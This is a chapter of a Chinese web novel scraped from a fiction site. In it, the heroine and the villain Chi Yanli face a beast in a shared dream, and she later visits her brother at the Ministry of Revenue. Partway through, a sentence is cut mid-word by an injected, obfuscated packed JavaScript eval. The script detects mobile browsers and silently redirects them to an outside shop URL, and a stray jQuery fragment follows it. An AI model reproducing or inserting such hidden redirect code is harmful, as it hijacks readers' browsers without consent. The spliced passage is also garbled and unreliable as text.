文趣网 > 其他小说 > 对反派日久生情了怎么办 > 14. 同梦(二)
    说时迟,那时快。

    池厌礼刚想眯眼仔细再瞧一瞧,旁边突然袭来一股巨大的气流,直直将他们扬翻在地。

    两人双双倒地,林朝祈本能的抬手护着自己的脑袋,感觉五脏六腑都要摔出来了。

    不是梦吗,怎么会有痛?

    然现实并不给他们思考的时间,林朝祈刚撑起身,手臂便被人拉起,踉跄地向别处跑去。

    院子里的鬼魂被惊得四处逃窜,地动山摇,树枝上的绿叶如雨般簌簌飘落。

    林朝祈跟着池厌礼一路跑,直到远离那大块头的视线。

    她松开池厌礼的手,撑着双膝,弓背大口喘气着,像是要把肺吐出来。

    池厌礼还好,只额头浮了层细密的汗珠,表情倒没什么太大的波动。

    “那……是什,什么东西?”林朝祈当时被扬翻在地,视线还没聚焦就被他拉起,迅速逃跑,只余光看见一个宏大的黑影。

    “那是貔貅。”池厌礼道。

    “上古凶兽,这座院子的怨气太重了,三皇子便让道士请来吞煞守财的。本该是放在西边院子的,不知为何跑来这了。”他解释道。

    林朝祈一下没站稳,险些要摔倒在地,还好池厌礼及时扶住她。

    “地面在动。”她声音有些颤抖。

    池厌礼是习武之人,按理说感觉应该更明显,但他并没有,他警惕地环顾四周,怕那凶兽追来。

    “真的!又在动了!”林朝祈僵着四肢,扶着池厌礼的手臂,眼神惊恐地盯着地面。

    天空逐渐暗淡下来,太阳的光却越来越强烈,放眼望去,像在天空裂了个大洞。

    “刚才那怪物突然出现,你也没感到一点的害怕吗?”林朝祈喉咙里泄出一点哽咽。

    池厌礼垂下眼睫,无声点了点头。

    林朝祈深吸了口气,真的不知道该不该对池厌礼生气。

    她眼前忽变得朦胧,有泪光在她眼底打转,她微微张唇,试图将泪水控制在眼里。

    只是下一秒,她感觉面上滑过湿热,她还是没有忍住。

    林朝祈有些羞耻,她不喜欢在别人面前哭,她又有些怒意,气自己不争气,气池厌礼为什么要梦到她,还哄骗她。

    “你刚还说这里不危险的!”林朝祈紧紧抿着唇,声音细若游丝。

    “你个骗子!”

    她到底还没胆大到和反派对着干的地步,腔大势小,声音逐渐息弱,小声抱怨着。

    话轻飘飘传进池厌礼耳中,他面上闪过一丝懊恼,眉心不自觉有些皱起,似也在埋怨自己。

    而这次,他依旧鬼使阳差地,说了句:“对不起。”

    雨未停,变本加厉。

    不仅打湿了他的衣服,还要渗入他的心。

    他不愿意淋雨。

    而这次,林朝祈完完全全,真真切切听见了他的道歉。

    一时间像有把剪子,利落地将乱作一团的毛线剪开,止住了她凌乱的思绪。

    林朝祈屏声,看着他,泪光莹莹。

    视线在空中交汇。

    她常描的远山眉,此刻倒真成了青山黛,栩栩如生。

    眼里蕴着层薄薄的水光,像刚下过雨的山野林间,雾气弥散,叫人琢磨不清。

    姑娘家如花般的年纪,一颦一笑,一哭一皱,皆似画,不真切,又吸引人目光追逐。

    最后一滴泪珠滑过脸颊,停在下巴处,随后混进雨水,坠入地面。

    雨停了。

    林朝祈胡乱抹了抹脸上的湿痕,撇开视线,须臾过后,又悄眯看了他一眼,得出结论。

    他确实是对自己说的。

    “我没,没……”她唇张张合合,慢吞吐字。

    并下意识以为这是暴风雨来临前的平静,才反应过来自己虎过头。

    四周风流涌动,吹散雾气,林朝祈重新调整回心态,欣然接受了大反派的道歉。

    “好吧,没关系。”她顿了下,而后大人不计小人过原谅了他。

    反正是梦,她怕甚,就是他的错!

    未等池厌礼的反应,那貔貅又卷土重来。

    而这次两人都不打算躲了,不破不立,他们也想不到别的办法逃离这里。

    是好是歹,听天由命。

    貔貅带着极强的攻击性,朝他们低吼,浑身散发着黑气,脸上浮现两条金色暗纹。

    它磨了磨爪子,悠然又带着压迫感巡视了一番自己的领地。

    这架势落入池厌礼眼中,他不禁滚了滚喉结,暗中将林朝祈护在身后。

    这才有点紧张感了。

    当然,不论今天在场的是谁,他都会先一步挡在前面。

    只是当林朝祈眼神不自觉扫过他,才发现端倪。

    他整个身体都暴露在貔貅眼前,自己则被遮了个三四分。

    两人衣袂相卷在空中,一粉一白。林朝祈收回视线重新正视面前的怪物。

    双方对持着,陡然那貔貅扑向他们,嘶吼声响彻天际。

    池厌礼被气流掀翻在地,脊背传来钻心的痛楚。

    林朝祈稳稳立在原地,在貔貅扑过来的瞬间闭上双眼,岂料它只是与自己擦肩而过。

    她只感觉面前刮过一阵强劲的风,但意料之内的痛感没有发生。

    她小心睁开眼,便发现池厌礼倒在地上,不知哪来的铁棍抵着貔貅的利牙。

    林朝祈岂会坐视不理,当即忘了怕,跑向池厌礼,企图帮上忙。

    她靠近,貔貅口中发出的热气吹得她发丝乱飞,但也只是吼,没有其他动作。

    她奇怪,但貔貅不再将精力放在她身上,抬起一只兽爪就要拍向池厌礼。

    弹指间,她下意识挡在池厌礼面前。

    林朝祈看着即将拍在她身上,散发着黑气的兽掌,只觉得心脏停了。

    她被人掠了过去,如溺水般的窒息感席卷而来。

    *

    顷刻间,林朝祈猝然睁开眼睛。

    熟悉的床幔,怡人的淡香,她醒了。

    她只觉得脑中一片混乱,梦中种种在迅速倒退出她的记忆。

    林朝祈坐在床边愣了很久,那一具具尸体,血口大张的怪物,那场不会淋湿她的雨。

    而唯独一件事,最后,池厌礼仍拼身挡在她面前,这完全不是无意识的……他是真的在保护她。

    此念头一出,林朝祈不经打了个寒颤,她心道,这只是巧合,然心跳逐渐清晰有力,昭示着她此刻的慌乱。

    另一边,同一时间,池厌礼也醒了过来。

    同样的,他的记忆也逐渐模糊。只当自己最近太累了,连做梦都是梨秋院的事。

    他缓缓起身,推开房门。脑海里却满是那道义无反顾挡在他身前的背影。

    雕栏玉砌葳蕤生光。

    春朗晴,无雨无云。

    *

    林朝祈找人在院里搭了个葡萄架。

    长廊拐角处,搭了地铺。她盘腿坐着,一边监工和墨心绘竹,还有前来找她的许思意玩叶子牌。

    林朝祈摩挲着下巴,脸上已经贴了好几道条子了。

    看着面前一副烂牌,又看了看努力憋笑的墨心,笑得直不起腰的绘竹和许思意,咬了咬后槽牙,随即摆烂的甩出一张。

    绘竹跃跃欲试着,见林朝祈出牌,看也没看内容,拿起一张就压在了她牌上。

    林朝祈被布条遮住的眼睛眯了眯,有些生无可恋,她手气怎么可以这么差!

    从开局就没赢过。

    耳边突然响起系统的声音【请宿主尽快完成任务,即刻,马上,刻不容缓!】

    林朝祈突然觉得食之无味,原本还扬着的嘴角一下就平了。

    想到池厌礼她就头疼,不单单是不知道该如何攻略的头疼。

    她如今想到池厌礼就浑身不自在,区别于先前的压迫感,是一种很奇怪的感觉。

    具体她也说不上来。

    而系统001在后台看到林朝祈的情感波动,成过山车的形状,放软了语气。

    【我知道攻略反派是件很难的事,就像要把天上的星星抓在手心。但宿主该知道,任务完成是对这个世界,也是对您自己有利的。】

    【您想想,一但皇位之争开始,再想阻止他就难了。他可是残暴无情的大反派,书中的结局是血流成海,尸累成山。】

    【到时候生灵涂炭,百姓逃难。您不但失去了阻止他的机会,还失去了回家的机会。】

    这话的意

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566247|204759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    思便是告诉林朝祈,别想在书中安心过日子,他成功了,谁都不会好过。

    系统001说着说着,越来越亢奋,好像恨不得阻止池厌礼大反派的不是自己。

    林朝祈失去玩叶子牌的心情,对面的绘竹墨心见她表情不对,也渐渐严肃起来。

    最后,林朝祈的一手烂牌竟还破天荒赢了。

    她出完最后一张牌,还没反应过来,愣了大概有几秒才回神,疑惑道:“我赢了?”

    她低头看着自己空着的双手,又抬头看向她们手中,随后反应过来自己走神了。

    她们以为她不高兴了,让着她呢。

    林朝祈眼神有些涣散的看着面前几人。

    她们皆是天真烂漫的模样,透过衣服,仿佛看见了一颗赤忱鲜活,正在跳动的心。

    顷刻间,心里好像流过了裹挟着沐光的小溪,暖阳阳的,她又将系统001方才的话思考了一遍。

    正巧这时,林夫人来到她院中。

    几人见状,纷纷起身,行礼。

    “夫人。”

    “伯母。”

    “阿娘。”

    林夫人颔首示意,穿着石榴褐素面褙子,体态端庄。身后跟着方嬷嬷,手上端着新鲜出炉的糕点。

    “厨房这是又做了什么好吃的?”林朝祈耸了耸鼻尖,俏皮道。

    林夫人示意方嬷嬷将糕点分下去,随后看向林朝祈,脸上始终带着浅浅的笑意。

    林朝祈咬了一口,软糯弹牙,淡淡甜甜的米香流连唇齿。

    “好吃。”她道。

    许思意也跟着点头。

    林夫人嗯了声:“我想着你最近不是多梦吗,我就叫厨房做了这薏仁烩米茯苓糕。”她顿了顿,接着道,“厨房还有很多,思意待会记得带些回家去,然后你哥这几日在事务繁忙,一直未归家,想着肯定也不会爱惜自己的身体。你一会送一份去给你哥,看望下他。”

    林朝祈咬着糕点,点头含糊道好。

    这厢,承天门南,千步廊侧,一溜朱门灰瓦的衙署并排而立。

    最靠前,院落最大的便是户部衙署。

    门前立着青石狮,朱门大开,出入皆是身着青衫过圆领袍的吏员,他们相走,低声交谈。

    灰顶白墙,洇黑的青石板,氛围偏低。一时间,林朝祈穿着玉色软绸襦裙,头戴细绒簪花,并不鲜艳,但还是成了一抹亮色。

    林朝祈不知该如何开口,站在门外几遭徘徊。

    守门吏役注意到了她,主动上前询问:“这位姑娘来此处有何事?”

    林朝祈眼中闪过惊喜,回答道:“小女士户部主事林珩之妹,来给兄长送点心的。”

    吏役见她穿着得体,语气恭敬,又报出了兄长姓名与职位,一一对上,没多想指着里头一个算房便道:“大人在那间屋子。”

    院内很安静,静到能听见纸张翻页的声响。与林朝祈想象中不一样,她轻步走至廊下,便见到案前堆积如山的帐册,而林珩正埋头书写。

    她站在门口敲了敲门,唤道:“哥哥。”

    话落,林珩瞬间抬起头,便见妹妹正站在对面,提着个金纹黑木食盒,看着自己。

    顿时眉开眼笑。

    他赶忙放下手中的笔,上前迎她:“你怎么来了?”

    “阿娘叫我来看看你有没有好好吃饭。”林朝祈被他领到接待客人的小厅,话音刚落,她便瞧见桌上还没来得及收拾的半包麦饼,想来是没好好吃饭了。

    林珩目光跟随她落到那半包干粮上,悻悻地笑了两声。

    林朝祈假装叹气,似要责怪他的架势:“哎,果真是没好好吃饭。”

    林珩有些急了,正要为自己辨别两句,林朝祈却并没跟他算这笔账。

    而是将她带来的东西递到他面前。

    “现在补两口还来得及吗?我不会告诉阿娘,你没好好吃饭的。”她狡诈一笑道,“但哥要买玫瑰酥才能贿赂成功。”

    林珩失笑,两人谈笑间,外头走进来一人。

    “林主事,你看这事该如何办?”

    林朝祈手中正捏着块糕点,寻声看去,那糕点险些掉在地上。

    来者不是别人,正是她发愁的对象,池厌礼。